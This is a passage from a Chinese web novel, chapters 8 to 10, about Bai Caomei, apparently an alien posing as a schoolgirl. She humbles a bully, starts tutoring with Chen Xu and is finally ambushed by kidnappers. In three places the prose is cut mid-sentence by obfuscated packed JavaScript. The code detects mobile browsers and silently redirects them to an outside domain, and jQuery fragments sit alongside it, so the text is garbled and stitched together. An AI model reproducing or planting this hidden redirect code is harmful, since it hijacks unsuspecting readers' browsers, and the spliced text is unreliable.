到底……是什么……
熟悉……
!
白草莓一下子瞪大了眼睛,飞快冲到白澜亦面前,神情是前所未有的认真,动作之猛不仅把白澜亦吓到,也吸引了周围不少用餐同学的目光。
白澜亦不悦地蹙起眉,脸上终于有点活人气:“你干什么?”
“蓝莓。”白草莓焦急询问:“我的飞船在哪儿?”
啧,又开始说胡话了。
白澜亦拨开她的手,更加不悦,环顾四周的灼灼目光,咬着牙说:“又提飞船?我不是说过你要找飞船的话,先把书房里的书全都吃透吗?”
书房里的书囊括范围广泛,艰深晦涩,尤其是父母专研的生物和他在深入探究的天体物理学,特别难,别说吃透了,那些著作来自世界各地,白草莓一个abandon都要研究一星期的人,她根本不可能看懂。
原本他随便劝两句,白草莓就会乖乖听话,但这回却不管用。
白草莓罕见的皱起眉心,语气认真:“所有的书我都可以学,我只想知道飞船在哪里。我跟你提过的,薄薄的,扁扁的,像披萨一样。”
随着二人小声言语,望过来的眼睛越来越多,食堂渐渐变得安静,都等着看这生人勿近的本部之光和脑回路奇特的怪力少女之间究竟有什么交集。
白澜亦被这些目光刺得浑身发麻,抬眸凝视白草莓,淡漠地说:“你什么时候把地球知识都学明白了,什么时候就能找到飞船。”
安静的食堂突然响起清脆的掌声,康嘉乐迈着嚣张的步子边鼓掌边靠近。
“哎呀呀,白大少还真是有不同凡响,一出手就是宇宙飞船,要不要我逮只外星人给你研究研究啊?”
白澜亦站起身要走,懒散散扫了眼康嘉乐,没想搭理他。
康嘉乐跟白澜亦是死对头,绿江一私人尽皆知。
康嘉乐是国际部的“头脑”,打小就跟着爷爷奶奶生活,被惯得不成样子。
康老爸原本是白爸妈的领导,总在他面前提白澜亦多优秀,次数多得跟星星一样,以至于康嘉乐一听白澜亦的名字就反胃。
后来白爸妈调来总局成了保密研究的负责人,权限高于康爸,这种情况就更严重了,加之白澜亦跟着转来一私,也对康嘉乐从来没走过正眼,对他简直全方位打击。
康嘉乐看着白澜亦那副心比天高的模样,更是气得牙痒痒,逮着机会就要找他的茬。
其实二世祖康嘉乐也不是一无是处,他长得不差,可惜有珠玉在前。
他的傲劲比不过白澜亦,痞气压不过陈序,鼓掌时笑容太用力,显得有些狰狞。
因此,白草莓对他的初印象不是很好,她跟着白澜亦的脚步往外走。
康嘉乐在众目睽睽之下又被白澜亦无视,咽不下这口气,一把拽住白草莓的手腕,狠狠把她扯了回去。
“别急着走啊,白澜亦。”
“你的实验室不是缺经费吗?正好我手头宽裕,你当着大家的面狗叫一声,我就给你转个三五万玩玩。”
三五万对他的实验室来说也就是米清多捏两搓耗材的事,康嘉乐也清楚,他就是故意找茬。
白澜亦侧着身,双手逐渐攥紧成拳,眼神落在白草莓和康嘉乐两个冤家身上,愤愤转身就走。
白草莓捕捉到关键词“白澜亦”“缺经费”。
那天她和许缨聊到陈序缺钱的时候,许缨说让她有能力就帮帮陈序,现在白澜亦也缺钱,她得帮帮蓝莓。
她转头盯着康嘉乐,确认他刚刚没撒谎,问道:“如果我狗叫一声,你能给蓝莓经费吗?”
康嘉乐诧异地看白草莓一眼,松了捏她的手,双臂一摊,眼神里透出点癫狂的喜悦:“我康二少说话算话,你当着大家的面叫一声,我就给你亲哥白澜亦转五万块钱!”
最后这句话康嘉乐恨不得扯着嗓子喊出来,让所有人都知道她和白澜亦的关系。
羞辱白草莓,四舍五入就等于羞辱白澜亦。
原本消失在视线里的白澜亦果不其然又匆匆出现,只是没等他阻止白草莓,她已经先声夺人,“汪”了一声。
白草莓毫无心理芥蒂地摊开手,朝康嘉乐讨要报酬:“给钱。”
痛快得让他还没反应过来,空气安静了几秒钟才响起起哄声。
这么侮辱人的事说做就做,究竟哪方神圣摸得清怪力少女的脑回路啊!
白澜亦眼睁睁看着一切发生,胸口重重起伏,对上白草莓的眼神更是恼火,后槽牙都快咬碎了:“欺负人的事你也能无知无觉,让你叫你就叫?你不会还手吗?”
还手?
会啊。
白草莓反手捏住康嘉乐的肩膀,一手拽住他的小臂,两腿一扎,核心发力,直接把这个高一米八重七十五公斤的大小伙子抡圆了摔在地上。
电光火石之间,探头探脑的吃瓜人只看见一双荧光绿的限量球鞋在空中划了个完美的圈,再接着就是一声足以产生回音的痛呼荡遍食堂。
“呱!”
攻守易势,白草莓按着康嘉乐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004421|161920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的脖颈,用一惯软绵绵的语气质问:“就是你欺负白蓝莓?”
康嘉乐想给自己点播一首六月飞雪窦娥冤,他这不是想欺负人家不搭理他,谁晓得白草莓缺心眼,自告奋勇来替他,但是现在这种情况是谁欺负谁啊!
“我没有。”
白澜亦看着趴在他跟前满脸通红的康嘉乐,鼻腔里发出一声嗤笑,“是吗?那你也狗叫来听听。叫了,我让她把你放了。”
“滚!”
康嘉乐的脸青一阵白一阵,可无论他怎么挣扎也没办法从白草莓手底下逃脱,反而把自己累得气喘吁吁。
白草莓这几天接连意识到人类释放出来的感情不全是善意,对康嘉乐也不再客气。
她只是稍微用了点劲,就捏得他大呼小叫,最终还是服了软,头埋在手肘里,低低叫了声汪,小到白澜亦根本没听清。
但他还是朝白草莓使了个眼色,让她见好就收。
康嘉乐是个小心眼的,但不灭灭他的威风,今后还会来找事,但也不能把他逼急了,否则会整出不少麻烦事。
白澜亦最讨厌无关研究的麻烦事。
白草莓松了手,拍拍康嘉乐的肩,轻柔一笑:“好了,蓝莓说原谅你了,快走吧。”
脖子上的禁锢一松,康嘉乐就像弹弓打出去的石头,嗖的一下从白澜亦身边冲了出去,受了天大的委屈一样,一路只管闷头跑。
白草莓轻轻呼出口气来,走到白澜亦跟前,这回白澜亦总算先她一步开口:“不许提飞船。”
白草莓只好把想说的话憋了回去,低着头碾着脚尖讨价还价:“那我学会地球知识,就能提了吗?”
白澜亦叹了口气,只觉得心累:“到时候再说。”
白草莓盯着白澜亦离开的身影,正懊恼没从他那里找到点线索,耳边传来熟悉的“咳咳,需要帮助吗?”
扭头一看,果然是陈序。
他刚刚在旁边看完了全过程,想着现在白草莓也加入了康嘉乐和白澜亦的恩怨里,会不会也有传话的需求?
“有什么想说的?我可以当你的传声筒,按照咱俩的情分,我给你打九九九折,原价300现价299.7。”
“真是谢谢你。”
白草莓眨了两下眼,似乎想到了要放的狠话,掏出手机就要给他转钱,说:“帮我跟许缨说,我想吃菠萝咕咾肉。”
陈序大跌眼镜,原本都打算把白草莓的神情语气一字不落传达给康嘉乐,谁知道她只想通知她的饭搭子。
“那你自己跟她讲不就好了?”
但是要帮你啊。
白草莓转念想到杨筝的话,还是没公布这个伤人自尊的理由,及时停下按指纹的手,威胁道:“你不想干?那算了。”
“别,我干。”
陈序想起白草莓一个月六位数的零花钱,他哪儿来的吝啬鬼上身,还想替大小姐省钱。
陈序心安理得地收了钱,四处张望寻找许缨的身影,又被白草莓叫住。
“陈序等等。”
白草莓吞吞吐吐地提问:“你……你考虑过当老师吗?”
8. 8
陈序双手揣兜,勾唇痞痞一笑:“大小姐又想得是哪一出啊?”
“我……”
白草莓现在大概清楚地球对外星生命的认识不足,接受度低,每次一提相关话题就会被人用异样的眼光看待。
她泄了口气,说:“我就是想学好地球知识。”
地球知识。
陈序自行在头脑里替她换了个本地词:高中课程。
真是奇怪,平常看她招猫逗狗、爬楼游泳,对着花草树木自言自语,时不时冲太阳朝拜,他还以为白草莓打算跟家族的唯物主义传统割席,当个唯心主义者。
“学习?”陈序重新抿过这俩字,总觉得从她嘴里出来不太合理,眯了下眼开始阴谋论。
“难道你爸妈破产了?还是白澜亦开放专利不收费了?你怎么想不开打算学习?”
“你不相信我,”白草莓敏锐嗅到陈序身上的怀疑,“学习要什么理由?我想学就学了。”
陈序抱起胳膊撇了下嘴,这种不容反驳的语调更符合他对国际部学生的印象,明亮的眼珠转了两圈盘算起来。
“请我做家教当然可以。只是你也清楚我平常很忙的,每天都有好几单国际部的业务,一单至少三百块,如果给你当家教,那这些钱……”
白草莓递上自己的手机:“你开价吧,密码1223。”
要不是清楚白草莓的支付密码,陈序还就真当她在拿自己开涮,试探地接过手机,目光牢牢盯着她,神情逐渐认真起来。
“你来真的?”
白草莓点头,伸出一根手指:“我要当第一名,给蓝莓看看。”
“好哇,那我一定认真教。”陈序抿嘴轻笑。
当着老师的面说要超过老师当第一名,白草莓也是蛮敢想。
白草莓忽然把右手小指伸到陈序眼前:“拉钩。”
陈序眉心一跳,垂眼去看白草莓,只见她一脸坦然。
他耸了下肩,无奈点头,敷衍地勾住她的指头晃了两下:“拉钩上吊,一百年不许变,谁变谁是小狗。”
谁变谁是小狗。
白草莓恍然大悟,原来地球人拿可爱小狗当骂人的话,盯着自己的手指嘟囔说:“怪不得蓝莓生气。”
这种耳熟能详的事也要“怪不得”,陈序深感白草莓的学习道阻且长。
“这周末开始第一次补习。”
也不知道今后他拿的薪酬到底是辛苦钱还是精神损失费,走一步算一步喽。
吃饭的时候许缨还在跟白草莓讨论下周的跳蚤市场,她好不容易想到卖二手书的点子,按册收费,省时省心。
没等俩人一拍即合,校园群里突然发来活动的最新消息,跳蚤市场取消了。
许缨按着太阳穴心疼这些天自己死掉的脑细胞:“什么理由啊?说取消就取消?”
白草莓读完通知,总结说:“这段时间校园里突然出现很多蚊虫,为了我们的食品安全和健康,活动暂时取消,校园里将进行全面消杀。”
“马上就冬天了,哪儿来的蚊虫啊?不会是学校找理由不办了吧?”许缨悲伤地往嘴里扒拉一口饭。
虽然直觉告诉她们深秋即将入冬的时候不会有泛滥的蚊虫出没,但是刚出了食堂,白草莓脚底下就踩中了一只硕大无比的蟑螂。
声音清脆又响亮,噗嗤一声,四分五裂。
许缨看见蟑螂,好好的脸又皱成一团:“啊啊啊啊破学校哪儿来的这么多蟑螂啊!书里也有,树里也有,消杀该不会就蟑螂吧?”
一提到蟑螂,白草莓忽然想起第一次跟这个地球坏虫接触,被它坚硬触须划破了手掌,浅绿色的血只渗了一点出来,就被消毒湿巾擦干净了。
许缨挂在白草莓身上哇哇叫,说她以后一定要发明个能一键清除地球上所有蟑螂的神奇按钮。
白草莓轻轻蜷起手心,希望所有伤害地球人和植物的害虫通通消失。
要是没通知蚊虫泛滥,她们也没注意过脚下,自从白草莓一脚踩死一只巨大蟑螂之后,就发觉蟑螂确实多了起来,而且个顶个的大。
就算是白天嘈杂的体育场,也能见到出门闲逛的大蟑螂,篮球底下随机刷新一只会爆浆的虫,恶心坏了一批忠实球迷。
不管是不是心理作用,大家都觉得虫子越来越多,学校干脆放了两天假,请了专业团队来,上上下下里里外外进行全面消杀。
学校里的课停了,白草莓的课提前开了,陈序前一天给她发了第二天补习的时间地点,让她提前准备好打算补习的科目。
不过他俩都清楚,准不准备都行,毕竟白草莓随便摸出哪本书都是一头雾水。
补习的地点在市中心图书馆,这里早上八点开放,能呆到下午六点,有可以出声的背书室方便讲题。
最重要的是这里免费,书还多。
白草莓是刘管家送来的,下车的地方到图书馆还要走过一个宽敞的广场。
以往学校家里两点一线,要么是空荡的家,要么是拥挤的学校,白草莓从来没真切感受过被注视,今天例外。
广场上空荡安静,除了呼啸的风,就是清脆的脚步声,白草莓身后不远不近地跟了一个人,虽然穿着普通外套,但一举一动都有被训练的痕迹,目光虽然四处张望,但余光死死盯在白草莓身上。
这个人大概也没想到,他监视白草莓的同时,白草莓身上的触须也齐刷刷地在盯着他,轻易捕捉他的情绪变动。
白草莓突然停下,那人的步子也立刻顿了一下,随即放缓脚步,故作镇定地从她身边路过。
“你好。”白草莓出人意料地开口,选择先发制人。
那人诧异地转过身,所有转瞬即逝的情绪在白草莓眼前都无处遁形,他指着自己反问:“你是……是在叫我吗?”
“对。”白草莓面色凝重的点头:“请不要再跟着我了,你的行为让我感到很不舒服。”
男人搓了下鼻子,呵呵笑了两声:“你以为你是谁啊?我为什么要跟着你,真是搞笑,这条路只有你能走,我不能走?”
这人的反问实在诡辩,但白草莓也拿不出证据证明他在跟踪自己,只好说:“如果没有跟着我,那真是太感谢你了。”
“诶,你这话说得是什么意思?”
换任何一个不认识的白草莓或许都觉得她是在阴阳怪气,虽然这个男人清楚自己在做什么,根本不在理,但还是被她的话戳中,有些恼羞成怒,撸起袖子要找她麻烦。
“喂,白草莓。”
陈序在图书馆门口苦等不见人来,绕到侧门发现白草莓正在广场上跟人起了争执,拎着书包就冲了过去。
我的金主我来守护。
白草莓转头,惊喜地望着陈序走到她身边。
陈序看着面前的成年人,一眼就看出是他常年健身,紧实的肌肉连宽松的外套都遮不住,故意低头问白草莓:“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004422|161920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这人你认识?”
白草莓立马摇头。
陈序装得乖巧,温和一笑:“不好意思叔叔,我们都还是学生,未成年,忙着学习,叔叔你不要随便搭讪,谢谢叔叔。”
虽然陈序一口一个不好意思谢谢,但是他满嘴的“叔叔”攻击力无比强大,对男人的伤害远超白草莓。
陈序也清楚自己的恶毒,说完他就赶紧拽着白草莓的书包带往图书馆里走。
路上他还不忘教训白草莓:“你不认识他跟他讲什么话?你爸妈没有告诉你,不要随便跟陌生人讲话吗?”
白草莓诚实回复:“没有。”
陈序好像在对牛弹琴,深深吸了口气,恶狠狠地说:“那我现在告诉你了,你就把它记在心里。”
白草莓抓紧书包带,急忙点头,哦了一声。
不过陈序看着凶,但教起书来确实认真,由于白草莓理解能力欠佳,他郑重决定先补语言。
本来他打算带她看些散文诗歌之类的,结果发现白草莓实在无法理解其中深意,只好拿了几本儿童寓言绘本,从零开始。
看白草莓埋头扎进卡通小人里,陈序忍不住叹了口气,应该多要点辛苦费的。
一上午白草莓都在认真看书,时不时问点低龄问题,起点低但是态度不错,陈序勉强信了这位大小姐说要认真学习的话。
午饭是去刘管家定的地方,离图书馆不算远,但是装修奢华,白草莓没进过正式的西餐厅,紧紧跟在陈序身后,谨遵他上午的教诲:不跟陌生人讲话。
她左顾右盼,好奇心爆棚,但坐在座位上一言不发。
陈序本着不吃白不吃的心态把肉类从上到下点了个遍,把菜单转向白草莓:“你吃什么?”
白草莓粗略看了一眼,歪头说:“菠萝咕咾肉。”
陈序合上菜单,没有应声,对服务员说:“给她来份九分熟牛排,一杯牛奶。”
白草莓不仅不会说话,还极度缺乏生活尝试。
陈序捏捏眉心,既当老师又当保姆,再次感叹,该收双份工资的。
空气渐渐变得极度安静。
白草莓抬头偷看一眼陈序,他还在头疼接下来的教学该怎么进行。
“要不我还是付你双倍工资吧?”
陈序猛地睁开眼睛,轻飘飘看了眼白草莓,这家伙是真的钱多得没处烧了?怎么还上赶着送钱?
不对!
听说她爸妈是生物学家,生物就需要做临床实验,他无功不受禄,突然这么大一笔钱砸下来,不会是买他命的钱吧?难道她一直都是装的,就是试图接近他,打算拿他的身体做实验?
陈序被自己的想法吓到,望向白草莓的目光里也带着探究。
白草莓赶紧解释:“我绝对没想过拿你身体做实验。”
不解释还好,一解释差点直接让陈序原地去世,他无奈抚额:“你知道什么是‘此地无银三百两’吗?”
白草莓掏出手机搜了搜,然后立刻摇头:“我没有。”
“你现在就是。”
陈序单手托起下巴,凭着对白草莓浅薄的认识,他大概相信她是真的缺乏常识,但新的问题又来了。
你怎么知道我心里在想什么?
白草莓低下脑袋,将餐巾叠了又叠:“我猜出来的。”
陈序惊喜抬眉:从实招来。
白草莓沉默片刻:“我说我是外星人,你又不相信。”
9. 9
外星人?
这句话出自一位小学读了一半,初中干脆跳过,借老哥光环爸妈财力进一私的车祸脑震荡人士之口,信她还是信我是秦始皇?
说出来有人信才怪。陈序脑子里思绪纷乱。
他不清楚脑震荡会不会导致妄想症,但白草莓这种情况大概只能用“记忆停留在车祸前”解释,毕竟小学生正是相信光的年纪。
白草莓揉了揉额头,被他的想法搅得乱成一团,堪比往她脑袋里塞了两本晦涩的文言名著。
她发觉白澜亦说得有道理,超出地球人认知范围的话说出来只会被当成精神病,要耗费更多的时间去解释。
于是白草莓趁陈序还没回过味,伸手戳中他手臂上未消的淤青,生硬地转移话题:“你这里怎么回事?”
陈序“嘶”了一声,立刻撤回手臂藏进袖子里,装得若无其事:“事不过三啊大小姐,不要随便碰我,影响不好。”
白草莓撇了撇嘴,垂眼说了声“好吧”。
恰巧服务生把二人点的餐送了过来,白草莓学着陈序的模样拿起刀叉切牛排。
陈序摩挲着小臂,上面的淤青是他昨天回家上楼梯的时候踩空,摔在台阶上磕出来的。
这种丢人的事说出来单纯影响他光明伟岸的形象,傻子才会张口。
白草莓默默地把头埋得低了,怕自己忍不住笑出来被陈序识破。
陈序奇怪地看了眼白草莓,不动声色将自己全身上下打量一遍,发型帅气,衣着得体,她笑什么呢?
吃过饭后两人回到了图书馆,待到即将闭馆,陈序头昏脑涨,放弃了单拎一天出来授课的教学法。
万事开头难,白草莓这种程度的笨学生,只靠周末的教学别想取得什么显著的提升。
陈序收拾起自己的课本,顺手拎起白草莓的书包,招呼她往外走:“学校外面有间咖啡店,下周起周内每天下课后,我都会在那里等你。”
白草莓很信任地看向陈序,点了点头。
陈序看她那双单纯的眼睛,头一回这么具象化地看到“把她买了还帮着别人数钱”。
白草莓要是他妹妹,陈序怕是心都要操碎了。
刘管家的车一早就在外面等着,见到陈序,也请他上车,顺路将他送回去。
正好省笔路费,陈序怎么会不答应。
“陈序,你家在哪里?”白草莓跟他一起坐进后排。
浅黄的车灯温暖柔和,氛围平静,陈序慢慢放下心防,报了个老小区的位置。
刘管家听了小区的名字有些激动,:“哦,原来您是陈研究员的儿子,好多年不见,要不是这个小区名我还不敢确认呢。爷爷奶奶的身体还好吗?”
熟悉的人被骤然提起,陈序攥紧衣角强迫自己压下情绪,淡淡回应:“我爷爷已经去世了。”
刘管家一时间也哑了声,饱含歉意地说:“不好意思,提起您的伤心事了。”
厚重的悲伤情绪在车内缓缓流淌,白草莓识趣地没有开口,一直送陈序到小区门口。
要不是破旧的路灯正照在“安民小区”四个字上,白草莓简直不敢相信眼前层层错错的破楼也能称作小区,像是随便搭起来的积木,随便一碰就会从头垮到尾。
陈序挎起书包下了车,对白草莓说:“学校里见。”
“好。”
刘管家没有立刻开走,打着车灯为他照明,看见这居住环境也是一声叹息:“哎,小小年纪真不容易。当年他爸妈和老爷夫人是同事,要是他们没出事,陈序现在肯定跟澜亦不相上下。”
白草莓好奇多问了几句,才明白陈序经历的波折,对许缨口中“帮助陈序”有了更清晰的感知。
身后的车灯无法忽视,陈序闷头往前走,直到转了两个弯,来到那个黑洞洞的楼道前,车灯的余光仍旧映在墙上,他下意识揉搓起小臂。
这里的电路复杂,电压不稳,灯泡的寿命不长,时亮时不亮,往往十天半个月就要换新的。
陈序昨天摸黑爬楼摔了一跤,今天回来它又好了,他叹了口气,自认倒霉,却忽然发现小臂上的淤青消失了。
不知怎么的,陈序忽然想起白草莓的那句话“我是外星人”,加上白草莓当时确实能精准读出他的心声,尽管后来被她转移话题给糊弄过去了。
她……说不定真是外星人。
可陈序暂时还说服不了自己相信这么离奇的事情。
白草莓一路沉默,进了家门看见白澜亦端着水杯从书房出来。
她冲上去,二话不说拦腰抱住白澜亦,白澜亦被她的蛮力撞得后退两步,后背重重靠在墙上。
没等他缓过来说什么,白草莓昂起头来,认真地问些怪话:“研究外星人很危险,我不要你死。”
白澜亦偏头嗤笑,伸手在白草莓额头上戳了戳:“你这结论怎么得出来的?松手,我的事还轮不到你干涉。”
白草莓依言松了手,紧紧跟在白澜亦身后:“陈序的父母,他们是为追踪不明飞行物殉职的,很危险。”
她现在多少能理解生和死对地球人来说是多大的事情,地球人的死是再没有回旋余地的死。
“我,不想你死。”白草莓低声补充。
白澜亦的手骤然收紧,从没想到能从白草莓嘴里听见这种话。
半晌,他转过身,平静地看向白草莓:“他们是失足坠崖,跟外星人没有关系。有空关心我的课题,不如多花点时间提升你自己。”
说完,他绕过白草莓,握着杯子往厨房走。
“蓝莓。”白草莓追上来拽住他的衣角。
“你最好有什么更要紧的……”
白澜亦眼前多了只纸蝴蝶,普通的方纸,折得栩栩如生。
白草莓笑笑,说:“我今天跟着绘本折的,送给你。”
白草莓总是会送些破烂给他,卡片、石头、折纸,她好像永远都这么精神昂扬,怎么推都推不走。
“说了别把这些垃圾带回家。”白澜亦把蝴蝶揉成团塞进口袋,淡淡扫了她一眼,径直进了厨房。
他对白草莓的态度一如既往的冷漠,但或许又有什么不同,连他也说不清楚。
消杀假结束,陈序第一时间来找白澜亦,毕竟他的研究项目就是关于地外生命。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15004423|161920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
关于外星人的事,白澜亦不说能拿到一手资料,肯定比陈序这个普通人知道更多内情。
可惜白澜亦尤其忙,提前请好了假不知去向。
陈序只好自行暗中观察白草莓。
上午,上课、玩闹。
下午,上课、玩闹。
现在她语出惊人的次数也少了,逐渐能跟上课程,要不是记得白草莓之前徒手卸黑板,生游校内湖的壮举,妥妥就是一个普通的高中生,除了笨点,毫无破绽。
等到了放学的点,白草莓收拾好书包一踏出教室,就看见陈序斜挎着包等在门口,身边还站了个杨筝。
陈序原本单手插兜,盯着杨筝手里的错题集指点,一见白蓝莓露面,冲她招招手,扭头对杨筝说:“这种题,以后还是问老师吧,我的思路太跳跃,你或许跟不上。”
不是或许,是肯定跟不上,陈序属于天赋异禀的类型,只有面对金主的时候才有闲心掰开了揉碎了讲,但这套对杨筝来说又太拖沓,不如去问老师。
杨筝的目光在他和白草莓之间来回变化,怀疑地问:“那白草莓就跟得上吗?”
陈序诧异轻笑:“她?跟得上才怪。”
白草莓把他俩的对话听得一清二楚,装作不开心地抿起嘴巴:“你们俩,讲我坏话?”
陈序迈开腿往前走,语气散漫:“是啊,我们正说你是笨蛋呢。”
白草莓瞥了杨筝一眼,看她面色不善,连忙跟上陈序的脚步,“你说我笨没关系,千万不要像杨筝一样,每次见到我都像是要把我吃掉的样子,空气里都是火药味。”
“你进步不少啊,说话都会用修辞了?”陈序出了校门,轻车熟路把白草莓带进一家咖啡店。
他之前在这里做过兼职,跟老板很熟悉,敲敲前台点了单:“两杯拿铁,记白大小姐账上。”
“我可没瞎说,都是我闻到的。”
白草莓说的不是比喻,她每次靠近杨筝都能闻到怒火和妒气混在一起的味道,特别像火药。
陈序找了个靠里的四人桌坐下,面对着白草莓,听了她的话,沉默片刻后开门见山:“白草莓,你真是外星人,有超能力,能读心,还能治疗疾病是吗?”
白草莓不能读心,她只是通过嗅闻空气中的荷尔蒙进行分析,要说也是她的嗅觉灵敏。至于治疗疾病更是无稽之谈,要是她自己就能治病,至于定期服用特制药剂治病吗?
白草莓略微睁大了眼睛,才发觉自己跟他口中的外星人形象不符,摇头道:“不,我不是外星人。”
被否定了许多次,白草莓骤然被认同也有些自我怀疑,忍不住问陈序:“你,你身体还好吗?有哪里不舒服啊?”
陈序垂下头,自嘲地笑了笑,他怎么病急乱投医到这地步了,她要是外星人,不是早就成白澜亦的实验对象,早就该每天围着她转才对。
“我没事。”陈序翻开书本长舒一口气:“今天,从数学开始吧。你早点超过我,学成第一名,我好拿到尾款。”
“你拿尾款干什么?”
陈序在小学数学第一页敲了敲:“挥霍,满意吗?”
10. 10
说谎,陈序才不会拿钱挥霍。
白草莓只需要挥挥触手闻一闻就知道,但她始终没明白,为什么地球人说话总是爱绕弯子,心里想的跟嘴上说的不一样。
陈序是这样,白澜亦更严重,还是许缨最好,说什么就是什么。
“清楚了吗?”
白草莓摇了摇头,身边传来一声无奈的叹息。
陈序看她神游天外还敢理直气壮地摇头,气极反笑:“我还当白家祖坟冒青烟了,你们兄妹俩都是生来的天才呢,你不听讲怎么可能会?”
他的批评也是弯弯绕,好在最后一句足够直白,白草莓听懂了,双手合十,饱含歉意地笑了下:“真对不起,我一定认真听。”
她笑起来眉毛弯弯,眼睛亮晶晶,颧骨上扬,像雪山白果染了烟粉色,说话声音也轻柔,态度十分诚恳。
陈序抱着胳膊,与那双忽闪的、真诚的眼睛对视片刻,最终败下阵来,把书本往她面前推:“我只讲最后一遍。”
白草莓连连点头,陈序也没再计较,二人一起浸入小学数学的世界。
认真起来后时间会变得比平常更快,一本习题做完,刚刚点的咖啡早就已经放在他们边上了。
白草莓初窥新世界的大门,领略地球数学的魅力,捧起咖啡冲陈序笑道:“数学其实很简单啊。”
真是初生牛犊不怕虎。
陈序合上书,摇头轻笑,端起咖啡浅尝一口:“话放得挺大,我看都不需要高数和微积分治你,一个圆就能让你老实。”
白草莓沾着托盘里的咖啡渍画了个圆,想不到这么个小玩意会怎么难倒她。
“喏,拿铁。”
陈序把咖啡杯挪到白草莓眼前,他从来没这么热心肠过,看在白草莓疑似重病的份上,市里真得给他颁个“C市好人”的奖,再给他一万块的奖金,“拿铁就是牛奶加咖啡,咖啡你知道吧?”
白草莓放下手里的书顺势接过抿了一口,被苦到眉头紧皱,嘴里连声说好喝。
她不好当着陈序的面说拿铁不好喝,心里大喊一声完了,他也要被地球人同化了。
地球人总是这样前后矛盾,嘴上说行,其实不行。
虽然加了牛奶中和,但那股酸涩苦味一直萦绕在白草莓口腔里,直到最后窗外的天彻底黑下来,陈序收拾书包准备回家,她的眉心依旧隐隐皱起。
手里的书本被抽走,书脊抵上来在白草莓眉心转了两圈,她抬眸看了眼陈序,疑惑问道:“怎么了?”
陈序把这本药物化学书收进书包,撇了下嘴,回:“大小姐还真是一点苦都没吃过,一口咖啡而已,眉头竟然到现在都没松开。当心待会刘叔看见了,误会是我欺负你。”
白草莓恍然,伸手摸摸眉心,轻笑:“你没有欺负我,我知道的。”
她总是下意识的认为所有人都是友善无害的,整天给人一种两句话就能拿捏的感觉,单纯的让陈序都忍不住多心思考她的未来。
窗外路灯珍珠串似的挨个亮起来,灯下车水马龙,正巧赶上高峰期,总有耐不住性子的司机狂按喇叭。
陈序回过神来,一把拉上书包,端起杯子把咖啡底喝干净,为自己的多管闲事自罚一杯,张口问:“你怎么回去?”
多嘴,再来一口。
“刘叔快到了吧?那我就先走了,你路上小心。”
陈序要赶时间去医院看看奶奶,她的病情反复,平常待在病房里的时间最长,熬骨头汤等陈序回家的日子才是奢求。
要是时间充裕,陈序正好能卡着店坐上末班车,省一笔陪床费。
白草莓没来得及回话,陈序已经走到吧台跟老板打招呼,招呼还没打完他的手已经拉上了玻璃门。
这样子看着真是十万火急,刚刚讲课的时候那么耐心,倒是一点也没看出来。
陈序视线转过来,朝她略一点头,白草莓连忙抬手招了招,学着他的语气回道:“路上小心。”
“嗯。”陈序应了一声,挎起书包开始狂奔,他那两条腿跟踩着高跷一样又长又直,一眨眼就钻进车潮里不见踪影。
刘管家今天不来,但是之前也教过白草莓怎么做打车和坐公交,她现在对地球说不上精通,也不至于两眼一抹黑。
白草莓学着陈序的样子把杯子里的咖啡底喝完,走到柜台边上结了账,也跟老板招招手。
老板看她笑起来可爱乖巧,从抽屉里抓了把草莓奶糖递给她。
白草莓欣然接受,出门之前跟老板约定好了,下次补课还来这家咖啡店。
按月份来算,现在已经是冬天了,可C市的冬天没那么早来,穿一件衬衫顶着风吹也不冷,可惜今天的月亮倒是圆,就是看不见星星。
白草莓走在人行道上,想起来许缨之前提到过图书馆里有个天文望远镜,从那里能观测到远超肉眼可见范围的星星,她得去申请一节天文课,看不见1223也要看看宇宙暂缓思乡情。
“小同学,”白草莓身后追上来个青年男人,他捏着手机像是有急事:“小同学,我的手机没电了,你能不能借我打个电话?”
这么黑的天,这么年轻的男人,这么拙劣的理由,这么漏洞百出的神情,也就只有白草莓能信了。
听见男人寻求帮助,白草莓没意识到危险将至,毫不犹豫地解锁手机递了出去。
男人伸手来接,忽然有一股焦灼的味道迅速靠近,她敏锐地转头,看见树后面藏了个鬼鬼祟祟的人。
白草莓提高警惕,扬声问道:“你是谁?”
身后却突然箍上来一只胳膊,刚刚好声好气求助的人正用毛巾死死蒙住白草莓的口鼻。
毛巾上浸了安眠的药,白草莓瞳孔猛地一缩,反手拽住这人的肩膀给他来了个过肩摔。
他重重砸在地上,浑身的骨头都像被摔碎了,痛苦呻吟着怒骂:“都愣着干嘛!上啊!”
也不知道哪里冒出来那么多人,好像有一千个,白草莓按着额头,拼命睁开眼睛,看见黑压压的人张牙舞爪地扑上来。
